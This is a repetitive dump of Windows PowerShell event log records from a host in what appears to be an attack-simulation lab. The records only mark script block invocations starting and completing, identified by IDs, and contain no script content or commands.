SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044585
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044584
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044583
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044581
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044580
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044579
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044578
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044577
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044575
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044574
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044573
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044572
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044571
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044570
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044569
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044568
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044567
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044566
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044565
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044564
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044563
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044562
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044561
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044553
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044551
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044550
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044549
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044544
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044543
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044534
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044533
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
